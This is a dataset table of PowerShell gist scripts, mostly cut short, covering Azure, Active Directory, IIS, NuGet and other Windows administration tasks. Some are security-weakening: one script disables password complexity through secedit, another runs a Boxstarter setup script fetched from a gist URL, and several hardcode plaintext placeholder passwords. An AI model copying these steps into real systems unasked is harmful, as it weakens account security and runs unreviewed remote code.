full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/GithubGist/andreaswasita_9c4bdfdbcf66fbfaf666_raw_28fe2e4abfaaefd6eb43260b98113200db489af0_CreateILB_SetEndPoint.ps1
andreaswasita_9c4bdfdbcf66fbfaf666_raw_28fe2e4abfaaefd6eb43260b98113200db489af0_CreateILB_SetEndPoint.ps1
$svc="azsedb" $ilb="sqlilb" $subnet="Azure-BackEnd" $IP="10.0.1.100" Add-AzureInternalLoadBalancer –ServiceName $svc -InternalLoadBalancerName $ilb –SubnetName $subnet –StaticVNetIPAddress $IP $prot="tcp" $locport=1433 $pubport=1433 $epname="LOB1" $vmname="azsedb001" Get-AzureVM –ServiceName $svc –Name $vmname | Add-...
PowerShellCorpus/GithubGist/theagreeablecow_2795543_raw_48e83ca813cdb0418ab136f39098a8ffa595e530_ServerInventory.ps1
theagreeablecow_2795543_raw_48e83ca813cdb0418ab136f39098a8ffa595e530_ServerInventory.ps1
# This script will generate a list of all servers in AD, collect inventory items and export to Excel # Requires the Active Directory module for Windows Powershell and appropriate credentials #LOAD POWERSHELL SESSIONS #------------------------ $DC = "dc1.maydomain.com.au" $usercredential= get-credential -creden...
PowerShellCorpus/GithubGist/thoemmi_5451154_raw_f5164c4a7d32dc5d2eb12782c13b2f478b379c61_InitializeSQLProvider.ps1
thoemmi_5451154_raw_f5164c4a7d32dc5d2eb12782c13b2f478b379c61_InitializeSQLProvider.ps1
# # Add the SQL Server Provider. # Source: http://technet.microsoft.com/en-us/library/cc281962(v=sql.105).aspx # $ErrorActionPreference = "Stop" $sqlpsreg="HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.SqlServer.Management.PowerShell.sqlps" if (Get-ChildItem $sqlpsreg -ErrorAction "SilentlyContin...
PowerShellCorpus/GithubGist/mhinze_6686766_raw_c0231178862e7c9b3407ef11d3f749c5c356385e_Delete-BinObj.ps1
mhinze_6686766_raw_c0231178862e7c9b3407ef11d3f749c5c356385e_Delete-BinObj.ps1
function global:Delete-BinObj() { $path = join-path $solutionScriptsContainer '..' -resolve Get-ChildItem $path -include bin,obj -recurse -Force | remove-item -force -recurse }
PowerShellCorpus/GithubGist/MikeAStevenson_35f3e1f60b1f9f356501_raw_05c3660fef59fd73ebe169da0dfed6b991d43b95_HCExtras.ps1
MikeAStevenson_35f3e1f60b1f9f356501_raw_05c3660fef59fd73ebe169da0dfed6b991d43b95_HCExtras.ps1
############################################################################# # # Desc: Helper file to be dotted/imported in so that some things # can be done a little bit easier # # Date: 2014-11-04 - M. Stevenson - Initial Version # Added HC-EnableRDP, HC-EnterSession # ...
PowerShellCorpus/GithubGist/olohmann_b8dee52278296db65937_raw_179f5e7b5308f271e640d0ce7cead401f0120bc0_boxstarter-demo-devenv.ps1
olohmann_b8dee52278296db65937_raw_179f5e7b5308f271e640d0ce7cead401f0120bc0_boxstarter-demo-devenv.ps1
# In PoSh: START http://boxstarter.org/package/nr/url?https://gist.githubusercontent.com/olohmann/b8dee52278296db65937/raw/71f8768586f6be4b4fe2dccac8384d16333b9fc1/boxstarter-demo-devenv.ps1 # Boxstarter Script to prep a simple Dev Demo Box. # Allow reboots $Boxstarter.RebootOk=$true $Boxstarter.NoPassword=$fa...
PowerShellCorpus/GithubGist/Krelix_dfaf0710c3abe76a2c4c_raw_1f38a869f2b36ff4131c3a826cfddce941c4aa37_changePerm.ps1
Krelix_dfaf0710c3abe76a2c4c_raw_1f38a869f2b36ff4131c3a826cfddce941c4aa37_changePerm.ps1
# Don't forget to ser $usernameFull to the name off account in this format : DOMAIN\username $rule = new-object System.Security.AccessControl.FileSystemAccessRule($usernameFull, 'FullControl', 'Allow'); $owner = new-object System.Security.Principal.NTAccount($usernameFull) foreach($file in $(Get-ChildItem ./ -recurs...
PowerShellCorpus/GithubGist/mitchelldavis_7947239_raw_9d040746eaca2932ba01dc11d000876b5c1bd644_Remote-Connect.ps1
mitchelldavis_7947239_raw_9d040746eaca2932ba01dc11d000876b5c1bd644_Remote-Connect.ps1
# All you should have to do to connect to a remote machine is type: # Remote-Connect <machineIP> # Then the cmdlet will ask you for your credentials and you can continue. function Remote-Connect { param([Parameter(Mandatory=$true)][string]$machine) $opt=New-PSSessionOption –skipcacheck Enter-PsSession $m...
PowerShellCorpus/GithubGist/andreaswasita_9d14a34833422934f351_raw_71d9f7ae827f5baff86a54ba26303aae6130905f_CreateLoadBalancedVMEndPoints.ps1
andreaswasita_9d14a34833422934f351_raw_71d9f7ae827f5baff86a54ba26303aae6130905f_CreateLoadBalancedVMEndPoints.ps1
cls # Define variables $AGNodes = "azsedb001","azsedb002" # SQL AAG VMs in SEVNET $ServiceName = "azsedb" # SQL VMs Cloud Service in SEVNET $EndpointName = "SQLAAG" # name of the endpoint $EndpointPort = "1433" # public port to use for the endpoint # Configure a load balanced endpoint for each node in $AGNodes, with d...
PowerShellCorpus/GithubGist/kotsaris_1fe892cdf1b1c88820c3_raw_b9a289a26347ec1d224d5c5ed790c98862edfb81_gistfile1.ps1
kotsaris_1fe892cdf1b1c88820c3_raw_b9a289a26347ec1d224d5c5ed790c98862edfb81_gistfile1.ps1
#Run this in your nuget console within Visual Studio #Keep in mind that this is designed to replicate the packages.config list of dependencies as-is and never add more packages $proj = "REPLACE_ME_WITH_YOUR_PROJECT_NAME"; Get-Package -ProjectName $proj | %{ Uninstall-Package -Id $_.Id -ProjectName $proj -Force ; Inst...
PowerShellCorpus/GithubGist/manoharp_f1e8ac45788015ed3703_raw_c92377bb3e2b528fe81c6a111b9908f31aec6ae7_gistfile1.ps1
manoharp_f1e8ac45788015ed3703_raw_c92377bb3e2b528fe81c6a111b9908f31aec6ae7_gistfile1.ps1
# Set shortcut for sublime command line Set-Alias subl 'C:\Program Files (x86)\Sublime Text 3\subl.exe' # Launch the sublime text subl test.py
PowerShellCorpus/GithubGist/vinyar_6630973_raw_3a042e173478183daa01f108cdbe3852ecc1f33c_password%20complexity%20removal.ps1
vinyar_6630973_raw_3a042e173478183daa01f108cdbe3852ecc1f33c_password%20complexity%20removal.ps1
"[System Access]" | out-file c:\delete.cfg "PasswordComplexity = 0" | out-file c:\delete.cfg -append "[Version]" | out-file c:\delete.cfg -append 'signature="$CHICAGO$"' | out-file c:\delete.cfg -append secedit /configure /db C:\Windows\security\new.sdb /cfg c:\delete.cfg /areas SECURITYPOLICY
PowerShellCorpus/GithubGist/guitarrapc_0ae11df89bb7c8db6420_raw_3180e32cb5ba2185e12331b9e46ada9295b8ab3a_EncryptionConfiguraion.ps1
guitarrapc_0ae11df89bb7c8db6420_raw_3180e32cb5ba2185e12331b9e46ada9295b8ab3a_EncryptionConfiguraion.ps1
$configuraionData = @{ AllNodes = @( @{ NodeName = "*" PSDscAllowPlainTextPassword = $false CertificateFile = "c:\test.cer" Thumbprint = (ls Cert:\LocalMachine\My | where Subject -eq "CN=test").Thumbprint }, @{ NodeNa...
PowerShellCorpus/GithubGist/robie2011_88fe79b32c275656f2b6_raw_6af9d1578635f7898974be1690865ab99f0186d2_shoMyTeamViewerSession.ps1
robie2011_88fe79b32c275656f2b6_raw_6af9d1578635f7898974be1690865ab99f0186d2_shoMyTeamViewerSession.ps1
# File: showMyTeamviewerSession.ps1 # Date: 01.03.2013 # Author: Robert Rajakone # URL: http://tech.robie.ch # Description: This script extract Teamviewer session connection information from logfile write-host "Today's Teamviewer Sessions" # Der Regex-Ausdruck für Extraktion der Daten $RegexExp = "(\d{4}/\d{...
PowerShellCorpus/GithubGist/rasmuskl_1482665_raw_8328d8e7b19fd7e0e3dd962e9f970ad22f278e06_create-site.ps1
rasmuskl_1482665_raw_8328d8e7b19fd7e0e3dd962e9f970ad22f278e06_create-site.ps1
param([string]$site=$(throw "Site argument is required.")) function vdir-exists([string]$name) { if((Test-Path -path $name) -eq $False) { return $False } (Get-Item $name).GetType().Name -eq "ConfigurationElement" } Write-Host "Creating or updating site: $site" if ((Test-Path -path iis:) -ne $Tr...
PowerShellCorpus/GithubGist/davewilson_6b16abe50ac27bc1c200_raw_e9aee0ce3c0bf925e3bfaa24cfadc580eb927a2c_Get-FullURL.ps1
davewilson_6b16abe50ac27bc1c200_raw_e9aee0ce3c0bf925e3bfaa24cfadc580eb927a2c_Get-FullURL.ps1
<# .Synopsis Expands a shortened URL to its full URL .DESCRIPTION Expands a shortened URL to its full URL .EXAMPLE Get-FullURL http:/bit.ly/12345 #> function Get-FullURL { Param ( [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, ...
PowerShellCorpus/GithubGist/wwerther_1046253_raw_494eb308bc8b47a981e79597f695eec37c67570f_RestartService.ps1
wwerther_1046253_raw_494eb308bc8b47a981e79597f695eec37c67570f_RestartService.ps1
$computer='remote.example.com'; $servicename='TheServiceName'; $cred=Get-Credential; function getsrv($servicename,$computer,$credentials) { $servicename="Name='" + $servicename + "'"; return Get-WmiObject -Class Win32_Service -computer $computer -Credential $credentials -filter $servicename; } func...
PowerShellCorpus/GithubGist/jbfriedrich_fb9ba387d14fbe64bce5_raw_7a506471cb9e6ef3e866cf3ca9d500be1ed25e48_add_ip_whitelist_vmw_fwrules.ps1
jbfriedrich_fb9ba387d14fbe64bce5_raw_7a506471cb9e6ef3e866cf3ca9d500be1ed25e48_add_ip_whitelist_vmw_fwrules.ps1
## # Powershell script to add whitelisted IPs to VMware vSphere and VMware vCenter firewall rules. # Also adding a rule to fix the web console problem in vSphere Web Client ## # Set execution policy # AllSigned : Every script must bear a valid signature # RemoteSigned : Must be signed by a trusted publisher ...
PowerShellCorpus/GithubGist/n3wjack_11f01936eeed1a97d6f7_raw_d635bcbe07d773d12b64e8308984bde119a4b723_SetAdminPrompt.ps1
n3wjack_11f01936eeed1a97d6f7_raw_d635bcbe07d773d12b64e8308984bde119a4b723_SetAdminPrompt.ps1
# Figure out if we're running with administrative priviliges $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent() $principal = new-object System.Security.Principal.WindowsPrincipal($currentuser) $isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) function P...
PowerShellCorpus/GithubGist/brase_6728004_raw_8a1aa5a998dfffdf9d2e21b2a400d621a6526653_check_microsoft_windows_software_raid.ps1
brase_6728004_raw_8a1aa5a998dfffdf9d2e21b2a400d621a6526653_check_microsoft_windows_software_raid.ps1
# A simple PowerShell script for retrieving the RAID status of volumes with help of diskpart. # The nicer solution would be using WMI (which does not contain the RAID status in the Status field of Win32_DiskDrive, Win32_LogicalDisk or Win32_Volume for unknown reason) # or using the new PowerShell API introduced with ...
PowerShellCorpus/GithubGist/drphrozen_9752098_raw_b61a9ae0d0197c8b29b724482149e97b1e5dfc62_Format-Colors.ps1
drphrozen_9752098_raw_b61a9ae0d0197c8b29b724482149e97b1e5dfc62_Format-Colors.ps1
function Format-Colors { Param( [Parameter(Position=0, Mandatory=$true)] [string] $Format, [Parameter(Position=1)] [object] $Arguments ) if($Arguments -is [string]) {$Arguments = ,($Arguments)} $result = Select-String -Pattern '\{(?:(\d+)(?::(\d|[0-9a-zA-Z]+))?)...
PowerShellCorpus/GithubGist/ecoffman_6901323_raw_e3cb910b1c5a5b766f0aea1973f81b3cb1b154a3_gistfile1.ps1
ecoffman_6901323_raw_e3cb910b1c5a5b766f0aea1973f81b3cb1b154a3_gistfile1.ps1
param([string]$spSiteUrl) $spSite = Get-SPSite -Identity $spSiteUrl if($SPSite -eq $null) { Write-Host "`nSPSite at '$($spSiteUrl)' is null."; return; } $siteRootWeb = $spSite.RootWeb foreach ($spWeb in $SPSite.AllWebs) { if ($siteRootWeb.Url -eq $spWeb.Url) { continue # Ignore...
PowerShellCorpus/GithubGist/mshock_3854782_raw_292f5da1e45ac6bde642486e4ab9b137d83bddf4_ps_diff.ps1
mshock_3854782_raw_292f5da1e45ac6bde642486e4ab9b137d83bddf4_ps_diff.ps1
# emulate Unix diff command w/ Powershell script # usage: ps_diff.ps1 red_fish.txt blue_fish.txt [logpath] $diff = compare-object (get-content $args[0]) (get-content $args[1]) if ($args[2] -eq $null) {write-output $diff} else {add-content $args[2] $diff}
PowerShellCorpus/GithubGist/askesian_5711747_raw_b1981a8c5022daf37603e66bc30664c6d301bd27_download.ps1
askesian_5711747_raw_b1981a8c5022daf37603e66bc30664c6d301bd27_download.ps1
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath $rss = (new-object net.webclient) #Set the username for windows auth proxy #$rss.proxy.credentials=[system.net.credentialcache]::defaultnetworkcredentials $a = ([xml]$rss.downloadstring("http://channel9.msdn.com/Events/TechEd/NorthAmeri...
PowerShellCorpus/GithubGist/jokcofbut_5019806_raw_5ac26a93a82208438161aaa4e6b96fb0ba498f23_ForceUpdateToSpecificPreReleaseVersionOfAPackage_Project.ps1
jokcofbut_5019806_raw_5ac26a93a82208438161aaa4e6b96fb0ba498f23_ForceUpdateToSpecificPreReleaseVersionOfAPackage_Project.ps1
#Requires https://github.com/jokcofbut/NuGetHelpers Force-Update-Package -Id MyPackage -Version 1.0.12275.5-VersionName -source "MyRepo" -IncludePreRelease -Project "MyProject"
PowerShellCorpus/GithubGist/knjname_07170e37016675284595_raw_f9485bee16e4e1bbd1cab76d5546fbd5daaf226c_ConstantJobQueueProcessing.ps1
knjname_07170e37016675284595_raw_f9485bee16e4e1bbd1cab76d5546fbd5daaf226c_ConstantJobQueueProcessing.ps1
$jobQueueLength = 4 $todoList = "Ada", "BASIC", "C++", "D", "Eiffel", "F#", "Groovy", "Haskell", "IO", "Java", "K", "Lua", "VBA" $job = { param($languageName) echo "I like ..." Sleep -Milliseconds (Random 2000) echo " ${languageName}!" } $emptyJob = Start-Job -ScriptBlock {} $jobQueue =...
PowerShellCorpus/GithubGist/jpoehls_1477549_raw_606a3cd90d1644c0dd1728c645ec04246d26890d_smtp-test.ps1
jpoehls_1477549_raw_606a3cd90d1644c0dd1728c645ec04246d26890d_smtp-test.ps1
$smtp = New-Object System.Net.Mail.SmtpClient $smtp.Host = "127.0.0.1" $smtp.Port = 587 $creds = New-Object System.Net.NetworkCredential # $currentCreds = Get-Credential $creds.Domain = "" $creds.UserName = "my_user" # $currentCreds.UserName $creds.Password = "my_pass" # $currentCreds.GetNetworkCredent...
PowerShellCorpus/GithubGist/altrive_4d2eff7a786e7008c4f3_raw_499c33d6f672b7bb07a440b2ff8571f2f10feab6_Cevio.ps1
altrive_4d2eff7a786e7008c4f3_raw_499c33d6f672b7bb07a440b2ff8571f2f10feab6_Cevio.ps1
if([Environment]::Is64BitProcess){ throw "64bitプロセス内だとDLLロードに失敗する" } $ErrorActionPreference = "Stop" Add-Type -Path "${env:ProgramFiles(x86)}\CeVIO\CeVIO Creative Studio\CeVIO.Talk.RemoteService.dll" [CeVIO.Talk.RemoteService.ServiceControl]::StartHost($true) >$null $talker = New-Object CeVIO.Talk.RemoteService.I...
PowerShellCorpus/GithubGist/belotn_6018900_raw_40d07cef0441e8a936f2a84ad4182014ab9730a6_zonechange.ps1
belotn_6018900_raw_40d07cef0441e8a936f2a84ad4182014ab9730a6_zonechange.ps1
get-xaserver |? { $_.IPAddresses -match $MyIp } |? { |select ServerName,@{N="Session";E={@(get-xasession -ServerName $_.ServerName |?{ $_.State -eq "Connected" -and $_.SessionId -gt 0}).Count}} |? { $_.session -eq 0 } |%{ if( $(Get-Xaserver -Servername $_.ServerName).ZoneName -ne $newZone){ set-xaserverzone -ServerNAm...
PowerShellCorpus/GithubGist/sidshetye_29d6d48dfa0c2f5488a4_raw_d441d0ce5081d508c0fdbd6e0164894d331d6ea9_HardenSSL.ps1
sidshetye_29d6d48dfa0c2f5488a4_raw_d441d0ce5081d508c0fdbd6e0164894d331d6ea9_HardenSSL.ps1
# Call this from inside a startup task/batch file as shown in the next two lines (minus the '# ') # PowerShell -ExecutionPolicy Unrestricted .\DisableSslV3.ps1 >> log-DisableSslV3.txt 2>&1 # EXIT /B 0 # Credits: # http://azure.microsoft.com/blog/2014/10/19/how-to-disable-ssl-3-0-in-azure-websites-roles-and-virtu...
PowerShellCorpus/GithubGist/JMatthewman_4042583_raw_436ebe89e1a11357b4b68b7740a3438be03b77a1_MemoryStickSync.ps1
JMatthewman_4042583_raw_436ebe89e1a11357b4b68b7740a3438be03b77a1_MemoryStickSync.ps1
# Memory Stick Backup Syncronisation script # By Joel Matthewman 08/11/2012 # # Customizations: # Ln 13 path to SyncToyCMD.exe (you may need to change to x86 or other obscure location) # Ln 23 Location of dropbox.exe # Ln 29 Drive definitions with drive letter and name, and names of any SyncPairs to syncronise...
PowerShellCorpus/GithubGist/trodemaster_9cd525139743751c3ee7_raw_ffc97ee713ca2f215039fd8b051c154d97748d2b_punzip.ps1
trodemaster_9cd525139743751c3ee7_raw_ffc97ee713ca2f215039fd8b051c154d97748d2b_punzip.ps1
function punzip( $zipfile, $outdir ) { If(-not(Test-Path -path $zipfile)){return "zipfile " +$zipfile + " not found!"} If(-not(Test-Path -path $outdir)){return "output dir " + $outdir + " not found!"} $shell = new-object -com shell.application $zip = $shell.NameSpace($zipfile) foreach($item in $zip.items...
PowerShellCorpus/GithubGist/dealproc_b71da93fd910f1ec69c4_raw_34fabf10d95668c7cc55c3c19a2e42beceffdc85_sslassignment.ps1
dealproc_b71da93fd910f1ec69c4_raw_34fabf10d95668c7cc55c3c19a2e42beceffdc85_sslassignment.ps1
## -------------------------------------------------------------------------------------- ## Input ## -------------------------------------------------------------------------------------- $webSiteName = $OctopusParameters['WebSiteName'] $bindingPort = $OctopusParameters["BindingPort"] $bindingIpAddress = $Octop...
PowerShellCorpus/GithubGist/daveselias_9585689_raw_f4075a072fc20c52df02d05cc0e564b12d056fe4_Send-RDPReport.ps1
daveselias_9585689_raw_f4075a072fc20c52df02d05cc0e564b12d056fe4_Send-RDPReport.ps1
Function Get-LoggedOnUser { <# .Synopsis Queries a computer to check for interactive sessions .DESCRIPTION This script takes the output from the quser program and parses this to PowerShell objects .NOTES Name: Get-LoggedOnUser Author: Jaap Brasser Version: 1.1 DateUpdated: 2013-06-26 .LINK http://w...
PowerShellCorpus/GithubGist/jbarber_715238_raw_060b9494f69c80b43ba48de8e63b3d7cb3e063c1_add_esx_users.ps1
jbarber_715238_raw_060b9494f69c80b43ba48de8e63b3d7cb3e063c1_add_esx_users.ps1
$vsphere = "my-vc" $new_user = "newbie" $new_user_passwd = "new_sekret" $new_user_grp = "root" $root_user = "root" $root_passwd = "really_sekret" # Get all of the ESX servers (connect using Windows credentials) connect-viserver -server $vsphere $hosts = get-view -type hostsystem disconnect-viserver -confir...
PowerShellCorpus/GithubGist/belotn_5984451_raw_fe81c96123a98411d17336e7a1cf228c9b07529a_onescancsv.ps1
belotn_5984451_raw_fe81c96123a98411d17336e7a1cf228c9b07529a_onescancsv.ps1
get-eventlog -LogName "Key Management Service" -ComputerName "COMPUTERNAME" -InstanceId 1073754114 | select Index,Message,TimeGenerated |% {if ($_.MEssage -match ".*(0x[0-9a-f]+),(\d+),([^,]+),([0-9a-f\-]+),([^,]+),(\d),(\d),(\d+),([0-9a-f\-]+).*") { $_ | Add-Member -type NoteProperty -name Client -Value $matches[3] -...
PowerShellCorpus/GithubGist/sdowding_4963898_raw_b6f6c261797573a909d4213644d8e639796baccc_gistfile1.ps1
sdowding_4963898_raw_b6f6c261797573a909d4213644d8e639796baccc_gistfile1.ps1
# $StartDate = (get-date -year 2011 -month 6 -day 2) $EndDate = (get-date -year 2011 -month 6 -day 4) Get-ChildItem t:\ | Where-Object {($_\3.LastWriteTime.Date -ge $StartDate.Date) -and ($_\3.LastWriteTime.Date -le $EndDate.Date)} | Copy-Item -Destination 'C:\logs'
PowerShellCorpus/GithubGist/rheid_2ce55b40971f122d1ceb_raw_a1d6536b16655bd8388f7f57fac12854e5be6ada_EnableAnonymousRESTSearch.ps1
rheid_2ce55b40971f122d1ceb_raw_a1d6536b16655bd8388f7f57fac12854e5be6ada_EnableAnonymousRESTSearch.ps1
Param( [string] $url = $(Read-Host -prompt "Enter Site Collection URL: ") ) if ( (Get-PSSnapin -Name Microsoft.SharePoint.PowerShell -ErrorAction SilentlyContinue) -eq $null ) { Add-PsSnapin Microsoft.SharePoint.PowerShell } Write-Host " " Write-Host " Script provided by Summit 7 Systems for informa...
PowerShellCorpus/GithubGist/AdamNaj_c89f6c1445efe11ae13a_raw_d33b71e8101862b7b5c6d5d3e57ab7fd7ef2e687_CreateMissingDocFiles.ps1
AdamNaj_c89f6c1445efe11ae13a_raw_d33b71e8101862b7b5c6d5d3e57ab7fd7ef2e687_CreateMissingDocFiles.ps1
$DocumentationFolder = "C:\Projects\sitecorepowershell\Trunk\Documentation" $documented = Get-ChildItem $DocumentationFolder | % { $_.BaseName } $undocumented = get-command | ? { $_.DLL -match "Cognifide"} | ? { "$($_.Verb)-$($_.Noun)" -Notin $documented } | %{ "$($_.Verb)-$($_.Noun)" } $undocumented | % { $fi...
PowerShellCorpus/GithubGist/randomvariable_6622746_raw_58afb8a5296eb13e5bb5ed29b6379084ed688d27_gistfile1.ps1
randomvariable_6622746_raw_58afb8a5296eb13e5bb5ed29b6379084ed688d27_gistfile1.ps1
Script MongoDBAdminConfiguration { SetScript = { import-module gac Add-Type -AssemblyName (Get-GACAssembly "MongoDB.Bson") Add-Type -AssemblyName (Get-GACAssembly "MongoDB.Driver") $client = new-object MongoDB....
PowerShellCorpus/GithubGist/GuruAnt_7678224_raw_3eda4ad1b677f0284a84b84a1c0c832d8845aafe_Remove-StuckVDIMachineFromAdamDatabase.ps1
GuruAnt_7678224_raw_3eda4ad1b677f0284a84b84a1c0c832d8845aafe_Remove-StuckVDIMachineFromAdamDatabase.ps1
#Requires -PSSnapin Quest.ActiveRoles.ADManagement Function Remove-StuckVDIMachineFromAdamDatabase { <# .Synopsis Removes an object from View's ADAM database .Description Finds a computer object in View's ADAM database which represents a machine. Probably one stuck in a Deleting ...
PowerShellCorpus/GithubGist/Sakuramochi_5221086_raw_7d63b140224c1f3ea729867aabe70b4b7e80186e_pixiv_novel_access.ps1
Sakuramochi_5221086_raw_7d63b140224c1f3ea729867aabe70b4b7e80186e_pixiv_novel_access.ps1
# pixivへお遣いにいってnovel情報を取ってくるスクリプト # 言語 # Windows Powershell # 書式 # pixiv_access_pattern [-novel_id] ノベル番号 [[-u_id] ユーザーID] [[-u_pass] ユーザーパスワード] # オプション # novel_id 小説のID # u_id ユーザID # u_pass パスワード param( $novel_id =-1, $u_id = "ユーザーID", $u_pass="ユーザーパスワード" ) # ログイン部分はコメントアウト中 ログイン必須時のパラメータは下記 #par...
PowerShellCorpus/GithubGist/ararog_7316613_raw_dbd247ec90fcd4353d28f9196f0f5bc72acf2826_monitor.ps1
ararog_7316613_raw_dbd247ec90fcd4353d28f9196f0f5bc72acf2826_monitor.ps1
[CmdletBinding(DefaultParameterSetName="ComputerName")] param ( [Parameter(Mandatory = $FALSE, ParameterSetName="ComputerName", HelpMessage="Name of computer to check")] [String] $ComputerName ) Function InArray($element, $array, $position) { If($array.Count -eq 0) { return $False } foreach($item i...
PowerShellCorpus/GithubGist/guitarrapc_daaf304d5aa8e2773aa0_raw_b15a9bcc0f676275a0ec6d4855964022572cfa69_MeasurePSCustomObject.ps1
guitarrapc_daaf304d5aa8e2773aa0_raw_b15a9bcc0f676275a0ec6d4855964022572cfa69_MeasurePSCustomObject.ps1
(1..10 ` | %{ [PSCustomObject]@{ hoge = $_ } } | measure).Count # returns 10
PowerShellCorpus/GithubGist/stefanprodan_10017196_raw_37e9306e260138dcfbceab14b1ea86d30c26089f_MonitorEndpoints.ps1
stefanprodan_10017196_raw_37e9306e260138dcfbceab14b1ea86d30c26089f_MonitorEndpoints.ps1
############################################# ## ## Monitor ASP.NET WebAPI Enpoints ## Author: Stefan Prodan ## Date : 7 Apr 2014 ## Company: VeriTech.io ############################################# #Base url $urlPrefix = "http://localhost/MyApp.Server/"; #Endpoints $endpoints = @( "api/st...
PowerShellCorpus/GithubGist/trondhindenes_d6133106c30cb7d5b922_raw_6fd0ccf93c1be420114fc8a9668af0df8b5c6e41_publish-SmaV2.1.ps1
trondhindenes_d6133106c30cb7d5b922_raw_6fd0ccf93c1be420114fc8a9668af0df8b5c6e41_publish-SmaV2.1.ps1
Function Process-RunbookFolder { Param ( $Path, [switch]$recurse, $WebServiceEndpoint, $Credential ) $allwfs = get-childitem -Path $Path -Recurse:$recurse $Global:referencelist = New-Object System.Collections.ArrayList [System.Collections.ArrayList]$Glob...
PowerShellCorpus/GithubGist/kouphax_1150010_raw_8ff742c2b804138c4ae25adfb162cb3f525e4c0d_default.ps1
kouphax_1150010_raw_8ff742c2b804138c4ae25adfb162cb3f525e4c0d_default.ps1
# ----------------------------------------------------------------------------- # S C R I P T P R O P E R T I E S # ----------------------------------------------------------------------------- Properties { $solution = (Get-ChildItem *.sln).Name $solutionname = $solution.Substring(0, $solu...
PowerShellCorpus/GithubGist/robertream_2862018_raw_19bd4d483caf331ec9684001d2bbfb70db46b8c8_gistfile1.ps1
robertream_2862018_raw_19bd4d483caf331ec9684001d2bbfb70db46b8c8_gistfile1.ps1
function Select-ZipWith { param( [Parameter(Position=0)] $list, [Parameter(ValueFromPipeline=$true)] $next ) process { if ($list) { $first, $list = $list Write-Output (New-Object PSObject -Property @{ a = $next; b = $first }) } } }
PowerShellCorpus/GithubGist/ao-zkn_0adfb10e754a20c9d852_raw_4ed87b43d30e0fe7321d7dc9826c2ce119614866_Get-MusicTagData.ps1
ao-zkn_0adfb10e754a20c9d852_raw_4ed87b43d30e0fe7321d7dc9826c2ce119614866_Get-MusicTagData.ps1
# 任意に解凍したtaglib-sharp.dllを指定する Remove-Variable -Name TagLibFilePath -Force -ea silentlycontinue Set-Variable -Name TagLibFilePath -Value "C:\develop\lib\taglib-sharp.dll" -Option ReadOnly -Scope "Global" # ------------------------------------------------------------------ # 音楽ファイル(m4a,flac,mp3)よりタグ情報を取得する # 関数名:Get-Mu...
PowerShellCorpus/GithubGist/jtuttas_7ce1e86ade150af78670_raw_acd110fa14fd2ec37701b489f78b65b1327fbcf0_News%20Webservice.ps1
jtuttas_7ce1e86ade150af78670_raw_acd110fa14fd2ec37701b489f78b65b1327fbcf0_News%20Webservice.ps1
# Login Invoke-WebRequest "http://192.168.178.29/mmbbsapp/news.php?user=mmbbs&password=mmbbs" -SessionVariable s # Logout Invoke-WebRequest "http://192.168.178.29/mmbbsapp/news.php?cmd=logout" -WebSession $s # Abfrage letzte News Invoke-WebRequest http://192.168.178.29/mmbbsapp/news.php -WebSession $s # Abfragen ...
PowerShellCorpus/GithubGist/ambar_1633576_raw_c1d13b04fb6bc0dfad4cd1b9649b7c5944d7c4da_convert.ps1
ambar_1633576_raw_c1d13b04fb6bc0dfad4cd1b9649b7c5944d7c4da_convert.ps1
# mkdir md output # get-content , set-content -encoding # 括号是必须的 ls *.txt | %{ gc $_ | sc -en utf8 ('output/'+$_.name) }
PowerShellCorpus/GithubGist/jongalloway_1406652_raw_dcc292c9a2aaca8bf4ffdbf1399628f3d9ac85b2_download-entries.ps1
jongalloway_1406652_raw_dcc292c9a2aaca8bf4ffdbf1399628f3d9ac85b2_download-entries.ps1
# --- settings --- $feedUrlBase = "http://go.microsoft.com/fwlink/?LinkID=206669" # the rest will be params when converting to funclet $latest = $true $overwrite = $false $top = 5000 #use $top = $null to grab all $destinationDirectory = join-path ([Environment]::GetFolderPath("MyDocuments")) "NuGetLocal" # ---...
PowerShellCorpus/GithubGist/jokcofbut_5019820_raw_d5aa08c8612d955a96f85572d17ff19d703b446b_ForceUpdateToSpecificPreReleaseVersionOfAPackage_Solution.ps1
jokcofbut_5019820_raw_d5aa08c8612d955a96f85572d17ff19d703b446b_ForceUpdateToSpecificPreReleaseVersionOfAPackage_Solution.ps1
#Requires https://github.com/jokcofbut/NuGetHelpers Force-Update-Package -Id MyPackage -Version 1.0.12275.5-VersionName -source "MyRepo" -IncludePreRelease
PowerShellCorpus/GithubGist/selfcommit_9141777_raw_9bc470bfdc9c52e866abd46cb6785d7b4bbd6ab7_FizzBuzz.ps1
selfcommit_9141777_raw_9bc470bfdc9c52e866abd46cb6785d7b4bbd6ab7_FizzBuzz.ps1
1 .. 100 | foreach{ if ($_ % 15 -eq 0) { Write-Host "FizzBuzz" } elseif ($_ % 5 -eq 0 ) { Write-Host "Fizz" } elseif ($_ % 3 -eq 0 ) { Write-Host "Buzz" } else { Write-Host $_ } }
PowerShellCorpus/GithubGist/adminian_ae7a06f5e84c79949405_raw_19c30e15a3014c6c91950d3fe63824470e7df11f_Get-AzureUpdates.ps1
adminian_ae7a06f5e84c79949405_raw_19c30e15a3014c6c91950d3fe63824470e7df11f_Get-AzureUpdates.ps1
<# Author: Ian Philpot Date: 2/18/2015 Description: Email post to yammer that contains the latest updates from Azure. #> workflow Get-AzureUpdates { $cred = Get-AutomationPSCredential -Name "<Cred Asset Name>" inlineScript { # Url for the Azure Update Feed $url = "http://azure.m...
PowerShellCorpus/GithubGist/mwrock_5fab34c8d1a70745e46b_raw_53709064abb3036cc84bd438be8c3dc413586e88_remove.ps1
mwrock_5fab34c8d1a70745e46b_raw_53709064abb3036cc84bd438be8c3dc413586e88_remove.ps1
$winLogonKey="HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" @("DefaultUserName","DefaultDomainName","DefaultPassword","AutoAdminLogon") | % { Remove-ItemProperty -Path $winLogonKey -Name $_ -ErrorAction SilentlyContinue }
PowerShellCorpus/GithubGist/tcshao_3790764_raw_6e76b2455428c40a74c474cfaef852fcaa138aad_replaceNumbers.ps1
tcshao_3790764_raw_6e76b2455428c40a74c474cfaef852fcaa138aad_replaceNumbers.ps1
